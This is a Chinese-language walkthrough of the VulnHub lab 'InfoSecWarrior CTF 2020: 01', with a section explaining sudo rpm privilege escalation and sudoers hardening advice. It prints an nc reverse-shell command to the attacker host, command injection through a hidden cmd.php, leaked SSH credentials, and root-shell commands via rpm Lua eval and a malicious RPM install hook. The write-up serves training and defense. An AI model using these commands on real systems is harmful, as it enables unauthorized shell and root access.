InfoSecWarrior CTF 2020: 01靶场渗透
InfoSecWarrior CTF 2020: 01
来自 <https://www.vulnhub.com/entry/infosecwarrior-ctf-2020-01,446/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.150
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.150
4,访问80端口的http服务
默认配置页面,尝试扫描其网站子目录
gobuster dir -u http://192.168.23.150 -w /usr/share/wordlists/dirb/common.txt -t 5 -d 2s -b 400,404,403,500
http://192.168.23.150/sitemap.xml
访问一下,查看页面源代码 http://192.168.23.150/index.htnl
存在可能具有命令执行漏洞的文件/cmd.php。但是被hidden="True"标签所隐藏了。删除后面的hidden标签,再次查看原页面
成功得到一个命令执行的注入点
5,直接ls执行命令报错,这里告诉我是请求方式的问题
将GET请求变成POST
成功构成命令执行漏洞,尝试反弹shell
nc -e /bin/bash 192.168.23.128 4444
反弹shell失败,但是直接读取cmd.php发现泄露的信息
6,使用账户密码进行ssh登录,isw0/123456789blabla
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa isw0@192.168.23.150
信息收集一下
查看能否sudo提权
查找手册进行提权利用
sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
成功提权变成root用户
sudo rpm 提权
一、前提条件
- 用户具有 sudo 权限
- 当前用户能够执行 sudo rpm,并且没有被限制在 NOPASSWD 或者 secure_path 的严格规则下。
- 也就是说,用户可以用 sudo 以 root 身份调用 rpm 命令。
- rpm 的特性
- rpm 是 RedHat 系列 Linux 的软件包管理工具。
- 它具备 脚本执行功能,在安装、卸载过程中会执行 pre/post install/uninstall 脚本。
- 这些脚本由 root 权限执行,因为 rpm 包通常需要对系统关键目录写操作。
- 此外,rpm 支持 Lua 脚本解释器,可以通过 --eval '%{lua:...}' 直接执行 Lua 语句,而 Lua 又能调用系统命令。
二、提权原理
- 直接 Lua 执行
sudo rpm --eval '%{lua:os.execute("/bin/sh")}'- --eval 选项告诉 rpm 去解析并执行宏。
- 通过 %{lua:...} 可以运行 Lua 代码。
- os.execute("/bin/sh") 会调用系统命令,直接得到一个 root shell。
- 因为是通过 sudo rpm 调用,shell 继承了 root 权限。
- 原理:滥用 rpm 的 Lua 解释器 → root 命令执行 → 提权。
- 构造恶意 RPM 包
- 攻击者可创建一个临时目录,写入恶意脚本(如执行 id、/bin/sh)。
TF=$(mktemp -d)
echo 'id' > $TF/x.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF - fpm 用来打包,生成一个 RPM 包,其中包含了 pre-install 脚本。
- 执行安装时:
sudo rpm -ivh x-1.0-1.noarch.rpm - rpm 会在安装前以 root 执行恶意脚本,从而完成提权。
- 原理:滥用 rpm 包安装流程 → 触发 pre/post install 脚本 → root 权限执行恶意命令。
- 攻击者可创建一个临时目录,写入恶意脚本(如执行 id、/bin/sh)。
三、利用链条总结
- 前提:用户可运行 sudo rpm。
- 方法一:rpm --eval '%{lua:os.execute("...")}' → 直接执行命令。
- 方法二:制作恶意 RPM 包 → 通过 pre/post install hook 执行 → 提权。
- 本质:rpm 本身是 root 执行的软件包管理工具,若用户可通过 sudo 调用,则意味着可以执行任意 root 命令。
四、安全启示
- 最小化 sudo 权限
- 不要轻易允许普通用户以 sudo 调用 rpm、apt、pip 等带有命令执行功能的软件包管理器。
- sudoers 白名单要精细化
- 如果业务需要,最好用 sudo rpm -q(仅查询),而不是 sudo rpm 全功能。
- 检测方法
- 在渗透测试/审计中,如果发现用户能执行 sudo rpm,可以直接认定存在提权风险。
总结一句话:
利用 sudo rpm 提权的核心原理是——rpm 在执行时支持 Lua 和脚本 hook,这些功能会以 root 权限运行,从而被攻击者滥用来获得 root shell。